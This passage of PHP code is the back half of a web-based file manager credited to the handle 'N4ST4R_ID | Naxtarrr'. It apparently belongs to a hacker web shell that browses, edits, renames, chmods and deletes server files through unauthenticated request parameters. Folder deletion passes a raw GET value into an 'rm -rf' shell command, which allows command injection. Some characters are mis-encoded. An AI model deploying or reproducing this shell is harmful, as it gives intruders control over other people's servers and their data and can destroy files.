                <div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>
            <?php
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "deletefile" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
                if (unlink($filePath)) {
                    $_SESSION["success"] = "File deleted successfully!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                } else {
                    $_SESSION["error"] = "Failed to delete file!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                }
            } else {
                echo "<div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>";
            }
        }
        /* END FILE ACTIONS */

        /* FOLDER ACTIONS */
        if (isset($_GET["path"]) && @$_GET["action"] === "newfolder") {
            ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="folder_name" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">New Folder Name:</label>
                    <input type="text" id="folder_name" name="folder_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="newfolder">
                        Create folder
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["newfolder"])) {
                $folderName = $_POST["folder_name"];
                $folderPath = $path . "/" . $folderName;

                if (mkdir($folderPath, 0777, true)) {
                    $_SESSION["success"] = "Folder created successfully!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                } else {
                    $_SESSION["error"] = "Failed to create folder!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                }
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "renamefolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Rename Folder: <code><?= htmlspecialchars($_GET["folder"]); ?></code></h2>
                        <input type="text" name="new_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= htmlspecialchars($_GET["folder"]); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="renamefolder">
                            Rename Folder
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["renamefolder"])) {
                    $newName = $_POST["new_name"];
                    $newPath = $path . "/" . $newName;

                    if (rename($folderPath, $newPath)) {
                        $_SESSION["success"] = "Folder renamed successfully!";
                        header("Refresh:0; url=?path=" . urlencode($path) . "&folder=" . $newName . "&action=renamefolder");
                        exit;
                    } else {
                        $_SESSION["error"] = "Failed to rename folder!";
                        header("Refresh:0; url=?path=" . urlencode($path));
                        exit;
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>
            <?php
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Chmod Folder: <code><?= htmlspecialchars($_GET["folder"]); ?></code></h2>
                        <input type="text" name="new_perms" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= substr(sprintf('%o', @fileperms($folderPath)), -4); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="chmodfolder">
                            Change Permission
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["chmodfolder"])) {
                    $newPerms = intval($_POST["new_perms"], 8);

                    if (chmod($folderPath, $newPerms)) {
                        $_SESSION["success"] = "Successfully changed permission!";
                        header("Refresh:0; url=?path=" . urlencode($path) . "&folder=" . $_GET["folder"] . "&action=chmodfolder");
                        exit;
                    } else {
                        $_SESSION["error"] = "Failed to change permission!";
                        header("Refresh:0; url=?path=" . urlencode($path));
                        exit;
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>
        <?php
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
                if (ekse("rm -rf " . $_GET["folder"], $path) !== false) {
                    $_SESSION["success"] = "Folder deleted successfully!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                } else {
                    $_SESSION["error"] = "Failed to delete folder!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                }
            } else {
                echo "<div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>";
            }
        }
        /* END FOLDER ACTIONS */
        ?>

        <div class="flex mt-5">
            <a class="flex gap-x-1 item-center text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400 p-3 rounded-tl-lg br-8 hover:scale-110 transition-transform duration-300 ease-in-out" href="?path=<?= $path; ?>&action=newfile">
                <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 12h14m-7 7V5" />
                </svg>
                <span>FILE</span>
            </a>
            <a class="flex gap-x-1 item-center text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400 p-3 rounded-tr-lg bl-8 hover:scale-110 transition-transform duration-300 ease-in-out" href="?path=<?= $path; ?>&action=newfolder">
                <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 12h14m-7 7V5" />
                </svg>
                <span>DIR</span>
            </a>
        </div>

        <!-- TABLE DISPLAY -->
        <div class="relative overflow-x-auto shadow-lg rounded-br-lg rounded-bl-lg rounded-tr-lg">
            <table class="w-full text-sm text-left rtl:text-right text-gray-500 dark:text-gray-400">
                <thead class="text-xs text-gray-700 uppercase bg-gray-50 dark:bg-gray-700 dark:text-gray-400">
                    <tr>
                        <th class="px-6 py-3">Name</th>
                        <th class="px-6 py-3">Size</th>
                        <th class="px-6 py-3">Owner/Group</th>
                        <th class="px-6 py-3">Permission</th>
                        <th class="px-6 py-3">Action</th>
                    </tr>
                </thead>
                <?php if (is_readable($path)): ?>
                    <tbody>
                        <?php
                        $itemsPerPage = 50;
                        $search = isset($_GET['search']) ? strtolower(trim($_GET['search'])) : '';

                        // Get all items
                        $allItems = scandir($path);
                        $allItems = array_diff($allItems, ['.', '..']);

                        // Apply search filter
                        if ($search !== '') {
                            $allItems = array_filter($allItems, function ($item) use ($search) {
                                return strpos(strtolower($item), $search) !== false;
                            });
                        }

                        $allItems = array_values($allItems); // reindex
                        $totalItems = count($allItems);
                        $totalPages = ceil($totalItems / $itemsPerPage);
                        $page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;
                        $offset = ($page - 1) * $itemsPerPage;
                        $pagedItems = array_slice($allItems, $offset, $itemsPerPage);

                        if (empty($pagedItems)) {
                            echo "<tr><td colspan='5' class='px-6 py-4 text-center text-gray-500 dark:text-gray-400'>No matching files or folders found.</td></tr>";
                        }

                        // Folders
                        foreach ($pagedItems as $folder) {
                            if (is_file($path . DIRECTORY_SEPARATOR . $folder)) continue;
                            $folderPath = $path . DIRECTORY_SEPARATOR . $folder;
                            $folderPerms = substr(sprintf('%o', @fileperms($folderPath)), -4);
                        ?>
                            <tr class='bg-white border-b dark:bg-gray-800 dark:border-gray-700 hover:bg-gray-50 shadow-md dark:hover:bg-gray-600'>
                                <td class='px-6 py-4 font-medium text-gray-900 whitespace-nowrap dark:text-white'>
                                    <a class="flex items-center gap-x-1" href="?path=<?= urlencode($path . DIRECTORY_SEPARATOR . $folder); ?>&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-yellow-500 dark:text-yellow-400" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24">
                                            <path fill-rule="evenodd" d="M3 6a2 2 0 0 1 2-2h5.532a2 2 0 0 1 1.536.72l1.9 2.28H3V6Zm0 3v10a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V9H3Z" clip-rule="evenodd" />
                                        </svg>
                                        <span><?= htmlspecialchars($folder); ?></span>
                                    </a>
                                </td>
                                <td class='px-6 py-4 font-medium'>---</td>
                                <td class='px-6 py-4 font-medium'><?= gor($folderPath); ?>/<?= ggr($folderPath); ?></td>
                                <td class='px-6 py-4 font-medium <?= is_writable($folderPath) ? "text-green-500 dark:text-green-400" : "text-red-500 dark:text-red-400"; ?>'><?= $folderPerms; ?></td>
                                <td class='px-6 py-4 flex gap-x-1'>
                                    <!-- Folder actions (same as before) -->
                                    <a href="?path=<?= urlencode($path) ?>&folder=<?= urlencode($folder) ?>&action=renamefolder&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                            <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.779 17.779 4.36 19.918 6.5 13.5m4.279 4.279 8.364-8.643a3.027 3.027 0 0 0-2.14-5.165 3.03 3.03 0 0 0-2.14.886L6.5 13.5m4.279 4.279L6.499 13.5m2.14 2.14 6.213-6.504M12.75 7.04 17 11.28" />
                                        </svg>
                                    </a>
                                    <a href="?path=<?= urlencode($path) ?>&folder=<?= urlencode($folder) ?>&action=chmodfolder&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                            <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 8v8m0-8h8M8 8H6a2 2 0 1 1 2-2v2Zm0 8h8m-8 0H6a2 2 0 1 0 2 2v-2Zm8 0V8m0 8h2a2 2 0 1 1-2 2v-2Zm0-8h2a2 2 0 1 0-2-2v2Z" />
                                        </svg>
                                    </a>
                                    <a href="?path=<?= urlencode($path) ?>&folder=<?= urlencode($folder) ?>&action=deletefolder&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                            <path fill-rule="evenodd" d="M8.586 2.586A2 2 0 0 1 10 2h4a2 2 0 0 1 2 2v2h3a1 1 0 1 1 0 2v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V8a1 1 0 0 1 0-2h3V4a2 2 0 0 1 .586-1.414ZM10 6h4V4h-4v2Zm1 4a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Zm4 0a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Z" clip-rule="evenodd" />
                                        </svg>
                                    </a>
                                </td>
                            </tr>
                        <?php
                        }

                        // Files
                        foreach ($pagedItems as $file) {
                            if (is_dir($path . DIRECTORY_SEPARATOR . $file)) continue;
                            $filePath = $path . DIRECTORY_SEPARATOR . $file;
                            $fileSize = @filesize($filePath);
                            $filePerms = substr(sprintf('%o', @fileperms($filePath)), -4);
                        ?>
                            <tr class='bg-white border-b dark:bg-gray-800 dark:border-gray-700 hover:bg-gray-50 shadow-md dark:hover:bg-gray-600'>
                                <td class='px-6 py-4 font-medium text-gray-900 whitespace-nowrap dark:text-white'>
                                    <a class="flex items-center gap-x-1" href="?path=<?= urlencode($path) ?>&file=<?= urlencode($file) ?>&action=view&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-blue-400 dark:text-blue-300" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24">
                                            <path fill-rule="evenodd" d="M9 2.221V7H4.221a2 2 0 0 1 .365-.5L8.5 2.586A2 2 0 0 1 9 2.22ZM11 2v5a2 2 0 0 1-2 2H4v11a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-7Z" clip-rule="evenodd" />
                                        </svg>
                                        <span><?= htmlspecialchars($file); ?></span>
                                    </a>
                                </td>
                                <td class='px-6 py-4 font-medium'><?= $fileSize ?> bytes</td>
                                <td class='px-6 py-4 font-medium'><?= gor($filePath); ?>/<?= ggr($filePath); ?></td>
                                <td class='px-6 py-4 font-medium <?= is_writable($filePath) ? "text-green-500 dark:text-green-400" : "text-red-500 dark:text-red-400"; ?>'><?= $filePerms; ?></td>
                                <td class='px-6 py-4 flex gap-x-1'>
                                    <!-- File actions (add search param to preserve search result) -->
                                    <a href="?path=<?= urlencode($path) ?>&file=<?= urlencode($file) ?>&action=edit&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                            <path fill-rule="evenodd" d="M11.32 6.176H5c-1.105 0-2 .949-2 2.118v10.588C3 20.052 3.895 21 5 21h11c1.105 0 2-.948 2-2.118v-7.75l-3.914 4.144A2.46 2.46 0 0 1 12.81 16l-2.681.568c-1.75.37-3.292-1.263-2.942-3.115l.536-2.839c.097-.512.335-.983.684-1.352l2.914-3.086Z" clip-rule="evenodd" />
                                            <path fill-rule="evenodd" d="M19.846 4.318a2.148 2.148 0 0 0-.437-.692 2.014 2.014 0 0 0-.654-.463 1.92 1.92 0 0 0-1.544 0 2.014 2.014 0 0 0-.654.463l-.546.578 2.852 3.02.546-.579a2.14 2.14 0 0 0 .437-.692 2.244 2.244 0 0 0 0-1.635ZM17.45 8.721 14.597 5.7 9.82 10.76a.54.54 0 0 0-.137.27l-.536 2.84c-.07.37.239.696.588.622l2.682-.567a.492.492 0 0 0 .255-.145l4.778-5.06Z" clip-rule="evenodd" />
                                        </svg>
                                    </a>
                                    <a href="?path=<?= urlencode($path) ?>&file=<?= urlencode($file) ?>&action=renamefile&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                            <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.779 17.779 4.36 19.918 6.5 13.5m4.279 4.279 8.364-8.643a3.027 3.027 0 0 0-2.14-5.165 3.03 3.03 0 0 0-2.14.886L6.5 13.5m4.279 4.279L6.499 13.5m2.14 2.14 6.213-6.504M12.75 7.04 17 11.28" />
                                        </svg>
                                    </a>
                                    <a href="?path=<?= urlencode($path) ?>&file=<?= urlencode($file) ?>&action=chmodfile&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                            <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 8v8m0-8h8M8 8H6a2 2 0 1 1 2-2v2Zm0 8h8m-8 0H6a2 2 0 1 0 2 2v-2Zm8 0V8m0 8h2a2 2 0 1 1-2 2v-2Zm0-8h2a2 2 0 1 0-2-2v2Z" />
                                        </svg>
                                    </a>
                                    <a href="?path=<?= urlencode($path) ?>&file=<?= urlencode($file) ?>&action=deletefile&search=<?= urlencode($search) ?>">
                                        <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                            <path fill-rule="evenodd" d="M8.586 2.586A2 2 0 0 1 10 2h4a2 2 0 0 1 2 2v2h3a1 1 0 1 1 0 2v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V8a1 1 0 0 1 0-2h3V4a2 2 0 0 1 .586-1.414ZM10 6h4V4h-4v2Zm1 4a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Zm4 0a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Z" clip-rule="evenodd" />
                                        </svg>
                                    </a>
                                </td>
                            </tr>
                        <?php
                        }
                        ?>
                    </tbody>
                <?php else: ?>
                    <span class="text-center text-xs text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400">Directory Is NOT Readable</span>
                <?php endif; ?>
            </table>
        </div>
        <!-- END TABLE DISPLAY -->

        <!-- PAGINATION -->
        <?php if (is_writable($path)): ?>
            <div class="flex justify-center mt-4">
                <?php if ($totalPages > 1): ?>
                    <?php
                    // Preserve search query if exists
                    $searchParam = $search !== '' ? '&search=' . urlencode($search) : '';
                    ?>
                    <nav aria-label="Page navigation">
                        <ul class="inline-flex space-x-1 text-sm">

                            <!-- Previous Button -->
                            <li>
                                <?php if ($page > 1): ?>
                                    <a href="?path=<?= urlencode($path) . $searchParam ?>&page=<?= $page - 1 ?>"
                                        class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                               hover:bg-gray-100 hover:text-gray-700 
                               dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">
                                        鈥�
                                    </a>
                                <?php else: ?>
                                    <span class="flex items-center justify-center w-8 h-8 text-gray-400 bg-gray-200 border border-gray-300 rounded-lg 
                                 dark:bg-gray-700 dark:border-gray-700 dark:text-gray-500">
                                        鈥�
                                    </span>
                                <?php endif; ?>
                            </li>

                            <!-- Page Numbers (3 buttons with ellipsis if needed) -->
                            <?php
                            $range = 1; // show current page 卤1
                            $ellipsisShownLeft = false;
                            $ellipsisShownRight = false;

                            for ($i = 1; $i <= $totalPages; $i++) {
                                if ($i == 1 || $i == $totalPages || ($i >= $page - $range && $i <= $page + $range)) {
                                    if ($i == $page) {
                                        // Active page
                                        echo '<li>
                            <span class="flex items-center justify-center w-8 h-8 text-blue-600 border border-gray-300 bg-blue-50 
                                         dark:border-gray-700 dark:bg-gray-700 dark:text-white">' . $i . '</span>
                        </li>';
                                    } else {
                                        echo '<li>
                            <a href="?path=' . urlencode($path) . $searchParam . '&page=' . $i . '" 
                               class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                                      hover:bg-gray-100 hover:text-gray-700 
                                      dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">' . $i . '</a>
                        </li>';
                                    }
                                } else {
                                    if ($i < $page - $range && !$ellipsisShownLeft) {
                                        echo '<li><span class="flex items-center justify-center w-8 h-8">...</span></li>';
                                        $ellipsisShownLeft = true;
                                    }
                                    if ($i > $page + $range && !$ellipsisShownRight) {
                                        echo '<li><span class="flex items-center justify-center w-8 h-8">...</span></li>';
                                        $ellipsisShownRight = true;
                                    }
                                }
                            }
                            ?>

                            <!-- Next Button -->
                            <li>
                                <?php if ($page < $totalPages): ?>
                                    <a href="?path=<?= urlencode($path) . $searchParam ?>&page=<?= $page + 1 ?>"
                                        class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                               hover:bg-gray-100 hover:text-gray-700 
                               dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">
                                        鈥�
                                    </a>
                                <?php else: ?>
                                    <span class="flex items-center justify-center w-8 h-8 text-gray-400 bg-gray-200 border border-gray-300 rounded-lg 
                                 dark:bg-gray-700 dark:border-gray-700 dark:text-gray-500">
                                        鈥�
                                    </span>
                                <?php endif; ?>
                            </li>

                        </ul>
                    </nav>
                <?php endif; ?>
            </div>
        <?php endif; ?>
        <!-- END PAGINATION -->


        <footer>
            <div class="mt-6 text-center text-gray-500 text-sm mb-2">
                <p>Created by <span class="text-blue-600">N4ST4R_ID | Naxtarrr</span></p>
        </footer>
    </div>

    <script>
        const themeToggleDarkIcon = document.getElementById('theme-toggle-dark-icon');
        const themeToggleLightIcon = document.getElementById('theme-toggle-light-icon');
        const lightText = document.querySelector('#light-text');
        const darkText = document.querySelector('#dark-text');
        const themeToggleBtn = document.getElementById('theme-toggle');

        // Initial state
        if (
            localStorage.getItem('color-theme') === 'dark' ||
            (!('color-theme' in localStorage) && window.matchMedia('(prefers-color-scheme: dark)').matches)
        ) {
            document.documentElement.classList.add('dark');
            themeToggleLightIcon.classList.remove('hidden'); // show sun
            themeToggleDarkIcon.classList.add('hidden'); // hide moon
            lightText.classList.remove('hidden');
            darkText.classList.add('hidden');
        } else {
            document.documentElement.classList.remove('dark');
            themeToggleDarkIcon.classList.remove('hidden'); // show moon
            themeToggleLightIcon.classList.add('hidden'); // hide sun
            lightText.classList.add('hidden');
            darkText.classList.remove('hidden');
        }

        // Toggle handler
        themeToggleBtn.addEventListener('click', function() {
            if (document.documentElement.classList.contains('dark')) {
                // Switch to light
                document.documentElement.classList.remove('dark');
                localStorage.setItem('color-theme', 'light');

                themeToggleDarkIcon.classList.remove('hidden');
                themeToggleLightIcon.classList.add('hidden');

                lightText.classList.add('hidden');
                darkText.classList.remove('hidden');
            } else {
                // Switch to dark
                document.documentElement.classList.add('dark');
                localStorage.setItem('color-theme', 'dark');

                themeToggleLightIcon.classList.remove('hidden');
                themeToggleDarkIcon.classList.add('hidden');

                lightText.classList.remove('hidden');
                darkText.classList.add('hidden');
            }
        });


        const closeToast = document.querySelector('[data-dismiss-target="#toast-default"]');
        if (closeToast) {
            closeToast.addEventListener('click', () => {
                const toast = document.getElementById('toast-default');
                if (toast) {
                    toast.classList.add('hidden');
                    <?php
                    if (isset($_SESSION["error"])) {
                        unset($_SESSION["error"]);
                    } elseif (isset($_SESSION["success"])) {
                        unset($_SESSION["success"]);
                    }
                    ?>
                }
            });
        }
    </script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/flowbite.min.js"></script>
</body>

</html>

<?php
ob_end_flush();
?>